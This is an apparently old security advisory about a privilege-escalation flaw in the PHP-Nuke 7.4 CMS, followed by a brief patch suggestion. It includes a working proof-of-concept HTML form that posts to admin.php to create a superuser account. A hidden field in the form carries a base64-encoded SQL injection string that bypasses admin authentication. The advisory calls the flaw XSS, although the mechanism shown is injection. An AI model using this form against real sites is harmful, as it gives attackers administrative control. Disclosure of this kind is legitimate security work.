[XSS] PHP-Nuke 7.4 Remote Privilege Escalation

[Pierquinto Manco <mantra@xxxxxx>]

**************************************************************
*                       CODEBUG Labs
* Advisory #1
* Title: AddAdmin Bug
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4
* Type: XSS
* Web: http://www.mantralab.org [ITALIAN SITE]
*
**************************************************************

                Remote Privilege Escalation

- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to gain Admin access 
to the system.
The bug is very old but we can bypass the patch sending data 
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" 
action="http://www.sitewithphpnuke.com/admin.php";>
  <p>USERNAME: 
    <input type="text" name="add_aid">
    <br>
    NOME: 
    <input type="text" name="add_name">
    <br>
    PASSWORD: 
    <input type="text" name="add_pwd">
    <br>
    E-MAIL: 
    <input type="text" name="add_email">
    <br>
    <input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
    <br>
    <input type="hidden" name="add_radminsuper" value="1">
    <br>
    <input type="hidden" name="op" value="AddAuthor">
  </p>
  <p>
    <input type="submit" name="Submit" value="Create Admin">
    <br>
  </p>
</form>


- ) Patch

Put in admin.php a routine to check GET and POST global array.
(maybe COOKIE too)


**************************************************************
                http://www.mantralab.org
                  admin@xxxxxxxxxxxxx
**************************************************************